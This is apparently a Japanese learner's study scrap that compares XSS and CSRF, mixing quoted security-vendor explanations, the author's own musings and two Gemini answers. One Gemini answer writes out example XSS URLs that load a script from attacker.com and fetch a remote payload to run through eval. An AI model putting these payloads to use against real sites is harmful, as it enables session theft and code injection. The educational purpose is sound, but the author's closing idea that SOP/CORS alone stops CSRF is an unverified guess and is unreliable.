Closed26

XSSとCSRFって何

xss
CSRF
Yug (やぐ)Yug (やぐ)

クロスサイトスクリプティング / クロスサイトリクエストフォージェリ

Webアプリケーションに対する代表的な攻撃手法としてXSS（クロスサイトスクリプティング）とCSRF（クロスサイトリクエストフォージェリ）というものがあります。

"クロスサイト" までは一緒か

んで"フォージェリ"はforgeryで、「偽造」という意味っぽい

Yug (やぐ)Yug (やぐ)

はーなるほど、input欄のようなインタラクティブなところにJS書いちゃうみたいなことか

まず、そもそもXSSとは一体何なんでしょう。ということで、トレンドマイクロさんに聞いてみました。
一言でいうと、**「ユーザーがWebページにアクセスすることで不正なスクリプトが実行されてしまう脆弱性または攻撃手法」**のことです。

Yug (やぐ)Yug (やぐ)

ん、ユーザがJS書く訳ではないのか..？

【前提】
・WebアプリケーションにXSS脆弱性が存在する

すでに攻撃者によって用意されたJSをURLに含むってこと？
んでそれにアクセスしてしまうと不正なスクリプトが潜んでるWebサイトを見ることになってしまい、見ている間にどんどん情報が取られていく、てこと？

Yug (やぐ)Yug (やぐ)

あーイメージと違ったかも

XSSによる被害例

  • 攻撃者による不正ログイン（なりすまし）
    利用者のCookieが攻撃者の手に渡ることで、Cookie内にある利用者のセッション情報がそのまま使用されてしまい、利用者の名をかたってサービスを使用されてしまう危険性があります。

XSSへの代表的な対策

  • Webページに出力するデータのエスケープ処理
    Webページの出力に際して特別な意味を持つ文字列（例えば「<」、「&」など）は単なる文字列として出力するようにしましょう。また、エスケープの対象としては、利用者が画面から入力した値はもちろん、外部システムからのデータなどWebページの出力対象となるものは必ずエスケープすることが重要です。

Webページに出力するデータをエスケープするのか

ユーザからWebページに入力するスクリプトがXSSなのかと思っていたが、そうではなくその前の段階つまりWebサイトを表示する段階でのスクリプトがXSSらしい

だからそのサイトを作る人は作る段階でエスケープ処理書いとかないといけない、ということだと思う

んー、でもinput欄にスクリプト書くみたいな手法もあったと思うんだけどあれはじゃあなんだ？

Yug (やぐ)Yug (やぐ)

お、もしかしてこっちがinput欄にスクリプト書くやつか？

#CSRFとは何か
またトレンドマイクロさんに聞いてみました。
一言でまとめると、**「Webアプリケーション利用者自身が意図しない処理が実行されてしまう脆弱性または攻撃手法」**のことです。

Yug (やぐ)Yug (やぐ)

いやそういう訳ではないっぽい、ふむ

【前提】
・WebアプリケーションにCSRF脆弱性が存在する
・利用者はWebアプリケーションにログイン済みの状態であり、セッションを保持している

このcookieの部分は何を表しているんだ？盗んでるってこと？「攻撃者が用意したURLを踏むと、あるサーバ上でのwebサイトのcookieが盗まれる」ということを表しているのか？

とりあえずそれで理解するか

Yug (やぐ)Yug (やぐ)

なるほど～

観点 XSS CSRF
脆弱性の存在箇所 Webアプリ Webアプリ
実行契機 不正なURLへのアクセス 不正なURLへのアクセス
実行される場所 Webブラウザ
(Client)		 Webアプリサーバ
(Server)
実行可能な処理 基本的に自由*1 Webアプリで
定義された処理
実行の前提 特になし Webアプリに
ログイン済み*2

であればXSSの方が「気付かないうちに裏で情報抜かれてる」みたいな感じなのかな

CSRFは「こんなこと自分してないのになんかされてる！」てなりそう。んでそのアプリに限定した動作しかできないという特徴がある

Yug (やぐ)Yug (やぐ)

見てる間に...がXSS

クロスサイトスクリプティングとは、ユーザのアクセス時に表示内容が生成される「動的Webページ」の脆弱性、もしくはその脆弱性を利用した攻撃方法のことです。動的Webページの表示内容生成処理の際、Webページに任意のスクリプトが紛れ込み、Webサイトを閲覧したユーザ環境で紛れ込んだスクリプトが実行されてしまいます。

見てる間というか、一度でもそのサイトを開いたら...なのかも

Yug (やぐ)Yug (やぐ)

ふむ

攻撃の手法・特徴

  • 攻撃者は、XSS脆弱性のあるWebサイトにユーザを誘導することにより、ユーザ環境で不正スクリプトを実行させることができます
  • 攻撃者は、脆弱性利用のために、不正スクリプトを含んだ攻撃用URLを作りこむ必要があります

やはり以下2点が必要そう

  1. Webサイトに脆弱性があること
    • 攻撃者があえて脆弱性を残して用意したサイトなのかな
  2. そのWebサイトに誘うためのURLに攻撃用スクリプトが含まれていること
    • 多分最初からURLにスクリプト埋め込むとバレやすいはずだから、送るのは短縮URLであってその後にリダイレクトさせる先のURLにスクリプト埋め込んでるみたいな感じではなかろうか
Yug (やぐ)Yug (やぐ)

てことはXSS脆弱性というのは具体的に言うと「URLをエスケープしてない」ことなのかな

だがそうなると攻撃用スクリプトはURLにすべて含んでおかないといけないはずなのでURLがとんでもない長さになるということなのか？

あー外部ファイル参照すれば良いのか、なるほど
scriptのsrc属性で外部ファイル参照するとかfetchで外部ファイル読み込むとか

gemini-2.0-pro-exp-02-05

はい、XSS（クロスサイトスクリプティング）の理解はおおむね合っています。攻撃用URLを踏むことで、脆弱性のあるWebサイト上で攻撃スクリプトが実行され、セッション情報の窃取や、ユーザーの意図しない操作などが行われる可能性があります。

悪意のあるスクリプトの所在について

ご質問の「悪意のあるスクリプトは攻撃用URLにすべて含まれているのか、つまり攻撃用URLがとても長くなっているのが普通なのか」についてですが、これは必ずしもそうとは限りません。いくつかのパターンがあります。

  1. URLに直接スクリプトを埋め込む:

    • 比較的短いスクリプトであれば、URLに直接JavaScriptコードを埋め込むことができます。
    • 例: <http://example.com/search?keyword=<script>alert('XSS')</script>>
    • この場合、URLは長くなる傾向があります。
    • ただし、URLエンコーディングや文字数制限などにより、複雑なスクリプトを埋め込むのは難しい場合があります。

  2. 外部スクリプトを参照する:

    • 攻撃者は、別の場所に用意したJavaScriptファイル（外部スクリプト）をURLから参照させることができます。
    • 例: <http://example.com/search?keyword=<script src="http://attacker.com/evil.js"></script>>
    • この場合、攻撃用URL自体は比較的短くても、evil.jsに長いスクリプトを記述できます。
    • 外部スクリプトは、攻撃者が自由に内容を変更できるため、より柔軟で高度な攻撃が可能です。

  3. 短いスクリプトで外部リソースを読み込む:

    • URLには短いスクリプトを埋め込み、そのスクリプト内でさらに別のスクリプトやデータを読み込むことも可能です。
    • 例：<http://example.com/search?keyword=<script>fetch('http://attacker.com/payload').then(r=>r.text()).then(eval)</script>>
    • 短いスクリプトで外部からデータを取得(fetch)し、それをJavaScriptとして実行(eval)
    • この手法も、URL自体は比較的短く保ちつつ、複雑な攻撃を可能にします。

まとめ

  • XSS攻撃のスクリプトは、必ずしも攻撃用URLに全て含まれているわけではありません。
  • URLに直接スクリプトを埋め込む場合、URLは長くなる傾向があります。
  • 外部スクリプトを参照したり、短いスクリプトで外部リソースを読み込んだりすることで、URLを短く保ちつつ、複雑な攻撃を行うことができます。

補足:

  • Stored XSS（格納型XSS）の場合、攻撃スクリプトはWebサイトのデータベースなどに保存されるため、攻撃用URLは必ずしも必要ありません。脆弱なWebサイトにアクセスするだけで、攻撃が実行される可能性があります。
  • 最近のブラウザやWebアプリケーションフレームワークは、XSS対策を講じている場合が多いですが、完全に防ぐことは難しいため、常に注意が必要です。
Yug (やぐ)Yug (やぐ)

モダンなブラウザは不正なJSを検知したら実行しないようにするとかユーザにダイアログで警告するとかあるのかなぁ

対策と予防

ユーザ側

  • 最新のブラウザにアップデートする
  • 電子メール内やWeb上の不審なURLを安易にクリックしない
  • ブラウザのセキュリティ設定により、スクリプトの実行を無効化する
  • ウイルス対策製品により、不正スクリプトを検出し、実行をブロックする
  • セキュリティ対策製品の機能により、不正サイトへのアクセスをブロックする
Yug (やぐ)Yug (やぐ)

確かにWebアプリ作る側が脆弱性対処をしていないことが根因か

Web管理者側

  • 根本的な解決のためには、Webサーバ側で脆弱性に対処することが必要であり、脆弱性を作りこまれないよう、Webアプリケーション作成時から対策を意識することが必要です
  • WebサーバやWebアプリケーションのミドルウェアを常に最新の状態にする
  • 脆弱性が作りこまれないようWebアプリケーションの処理を精査する
  • WAF(Web Application Firewall)、XSSフィルタなどのセキュリティ対策製品を導入する

WAFやproxyなども気になる

Yug (やぐ)Yug (やぐ)

「他サイトから」っていうのがどういうことなのか理解したいな

クロスサイトリクエストフォージェリ（CSRF）とは、Webアプリケーションに存在する脆弱性、もしくはその脆弱性を利用した攻撃方法のことです。掲示板や問い合わせフォームなどを処理するWebアプリケーションが、本来拒否すべき他サイトからのリクエストを受信し処理してしまいます。

他サイトではなくそのサイト自体のinput欄でスクリプト書いたらそれが機能してしまうみたいなことではないの？それは別の攻撃？

Yug (やぐ)Yug (やぐ)

「ユーザ」と「攻撃対象サーバ」の違いがわからない

攻撃の手法・特徴

  • 攻撃者は攻撃用Webページを準備し、ユーザがアクセスするよう誘導します
  • ユーザが攻撃用Webページにアクセスすると、攻撃用Webページ内にあらかじめ用意されていた不正なリクエストが攻撃対象サーバに送られます
  • 攻撃対象サーバ上のWebアプリケーションは不正なリクエストを処理し、ユーザが意図していない処理が行われてしまいます
Yug (やぐ)Yug (やぐ)

あーなんかそういう事件あったな、3人くらい逮捕されたけどウイルスかかって(?)勝手に投稿されてただけだったみたいな

影響と被害

攻撃者は自身が直接攻撃対象サーバへアクセスすることなく、攻撃対象のWebアプリケーションに任意の処理を行わせることができます。CSRFを利用して行われる主な攻撃としては、以下があります：

  • いたずら的書き込み、不正サイトへの誘導、犯罪予告といった掲示板やアンケートフォームへの不正な書き込み
  • 不正な書き込みを大量に行うことによるDoS攻撃

攻撃Webページに誘導された一般ユーザには直接的な被害はありません。ただし、攻撃対象サーバへの不正なリクエストを送信した攻撃者として認識されてしまうことがあります

んー、じゃあCSRFはとりあえず「勝手に自分のアカウントで変な投稿されてしまうやつ」で覚えるか

input欄にスクリプト書くとかではなく

Yug (やぐ)Yug (やぐ)

あーそういうことかなるほど

確かに「他サーバ」と言えそうだ

Yug (やぐ)Yug (やぐ)

あーそしたらXSSはWebサイトにアクセスしたらそこが攻撃者の主戦場というかゴールみたいな感じだけど、CSRFはそのサイトでセッションを盗んだうえでそこから更に攻撃対象サイトにリクエストを投げてそこで悪さする、そこが主戦場になるということか

んでXSSの主戦場サイトは攻撃者が用意したものではなく普通に脆弱性のあるサイトで良さげなのかな

だがCSRFは攻撃者が用意したサイトに一旦アクセスしてもらう必要があるっぽい

Yug (やぐ)Yug (やぐ)

ん、そう考えるとXSSはcookie盗むだけでCSRFはそれに加えて攻撃対象サーバにリクエストまで投げるってこと？

であればCSRFはXSSの単なる進化版というすごく簡単な話？

Yug (やぐ)Yug (やぐ)

そうでもないか。XSSはユーザがcookieを持ってることを前提にはしてなくて、そのサイト上でいろいろ操作してるうちにcookie盗まれるみたいなことなのかな

んでCSRFは既にcookieを持ってることが前提で、それをすぐ抜いてから攻撃対象サーバにリクエスト送るという流れ
https://qiita.com/wanko5296/items/142b5b82485b0196a2da

  • XSS

【前提】
・WebアプリケーションにXSS脆弱性が存在する

  • CSRF

【前提】
・WebアプリケーションにCSRF脆弱性が存在する
・利用者はWebアプリケーションにログイン済みの状態であり、セッションを保持している

Yug (やぐ)Yug (やぐ)

あーてことは...

0 → 1がXSS
1 → 10がCSRF

みたいなことか？

つまりXSSでは、ある脆弱性サイトを攻撃者が見つけたら、そのサイトに登録してるユーザからcookieを盗んでなりすましログインしようと考えて、そのサイトへの招待URLに不正スクリプトを添えた上でそのサイトにユーザを誘導し、いろいろログインやら何やらの操作をしてもらい、それによってcookieを抜く（さすがにパスワードとかはinput欄かの投稿結果から盗むという別の話になって困難なのかもしれない。あくまでdocument.cookieまで攻撃者のできる限界なのかな）

んでそれを使ってそのサイト(サービス)になりすましログインする、という流れ

だがCSRFでは、cookieをユーザの入力から得るというより既にユーザが持ってるcookieを攻撃用サーバにアクセスさせただけですぐ抜き取り、そこからそのcookieを使用して攻撃対象サーバにリクエスト送ってなりすましログインとか、もっと言うとログインした後に不正投稿とかもするということ

だが多分CSRFに関してはその「攻撃対象サーバ」つまり盗んだcookieを活用して悪さできるサーバ(サービス)がそもそも何なのかというのは攻撃者が頑張って探さないといけないのかなーという気はする

まぁ以下のような形式なのでぶっちゃけセッション名から推測はできちゃうか

HTTP
Set-Cookie: <cookie-name>=<cookie-value>

https://developer.mozilla.org/ja/docs/Web/HTTP/Cookies#cookie_の作成、削除、更新

Yug (やぐ)Yug (やぐ)
gemini-2.0-pro-exp-02-05

はい、概ねその理解で合っています。XSSとCSRFの違いについて、それぞれの攻撃の流れと特徴をよく捉えられています。

XSS (Cross-Site Scripting)

  • 攻撃の流れ:

    1. 攻撃者は、脆弱性のあるWebサイト（例：掲示板、ブログなど）を見つける。
    2. 攻撃者は、そのWebサイトに悪意のあるスクリプト（JavaScriptなど）を埋め込む。これは、コメント欄への書き込みや、URLのパラメータなど、さまざまな方法で行われる。
    3. 被害者が、その悪意のあるスクリプトが埋め込まれたページにアクセスする。
    4. 被害者のブラウザで、その悪意のあるスクリプトが実行される。
    5. スクリプトは、被害者のCookieやその他の情報を盗み、攻撃者のサーバーに送信する。
    6. 攻撃者は、盗んだ情報を使って、被害者になりすましてWebサイトにログインしたり、その他の悪意のある操作を行う。

  • 特徴:

    • 脆弱性のあるWebサイト自体が攻撃の舞台となる。
    • 被害者のブラウザ上でスクリプトが実行される。
    • document.cookie でアクセスできるCookieが主な標的となる（HttpOnly属性が付いていないCookie）。
    • 入力フォームからの情報窃取は、XSSの範疇を超える場合がある（別の種類の攻撃、例えばキーロガーなどと組み合わせる必要がある）。

CSRF (Cross-Site Request Forgery)

  • 攻撃の流れ:

    1. 被害者は、攻撃対象のWebサイト（例：SNS、オンラインバンキングなど）にログインし、有効なセッションを保持している（Cookieがブラウザに保存されている）。
    2. 攻撃者は、罠のWebサイト（またはメール内のリンクなど）を用意し、被害者を誘導する。
    3. 被害者が罠のWebサイトにアクセスすると、攻撃対象のWebサイトに対して、被害者の意図しないリクエスト（例：不正な投稿、送金など）が送信される。
    4. 攻撃対象のWebサイトは、そのリクエストが正規のユーザーからのものだと誤認し、処理を実行してしまう。

  • 特徴:

    • 被害者が既にログインしているWebサイトが攻撃対象となる。
    • 攻撃者は、被害者のブラウザを介して、攻撃対象のWebサイトにリクエストを送信させる。
    • Cookieは自動的にリクエストに付与されるため、攻撃者はCookieを直接盗む必要はない（ただし、Cookieを利用する）。
    • 攻撃対象のWebサイトが何であるかは、攻撃者が事前に知っている必要がある（または推測する）。
      • おっしゃる通り、Set-Cookieヘッダのセッション名などから推測できる場合がある。
      • ただし、攻撃対象のWebサイトがCSRF対策を適切に実装していれば、攻撃は成功しない。

補足

  • CSRF対策:
    • トークン: リクエストにランダムなトークンを含め、サーバー側で検証する。
    • SameSite Cookie属性: Cookieが、同一サイトからのリクエストでのみ送信されるように制限する。
    • リファラチェック: リクエストヘッダのRefererを確認し、正規のドメインからのリクエストであるか検証する（ただし、Refererは偽装可能なため、補助的な対策となる）。
  • XSSとCSRFは、組み合わせて利用されることもある。例えば、XSSでCSRFトークンを盗み、CSRF攻撃を成功させるなど。

まとめ

XSSは脆弱なサイトを介してユーザーのブラウザでスクリプトを実行させ情報を盗む攻撃、CSRFはユーザーがログイン済みのサイトに対して、ユーザーの意図しないリクエストを送信させる攻撃、という違いがあります。どちらもWebアプリケーションのセキュリティ上の重要な脅威であり、開発者は適切な対策を講じる必要があります。

良いこと2つ知れた

  1. CSRFの方はユーザにそのままcookieを使用させて攻撃対象サイトへのリクエストを送らせるので、攻撃者がcookieを盗んでそれを使う訳ではない
    • cookie盗む必要がないということ
    • なのでcookieの直接使用主体がXSSでは攻撃者だがCSRFでは利用者自身になる、という違いがある
  2. CSRF対策って、単純にSOP(Same Origin Policy)適用しちゃえば良いのでは、という仮説
    • それ以外はCORSエラー出しちゃえば良い
このスクラップは2025/03/08にクローズされました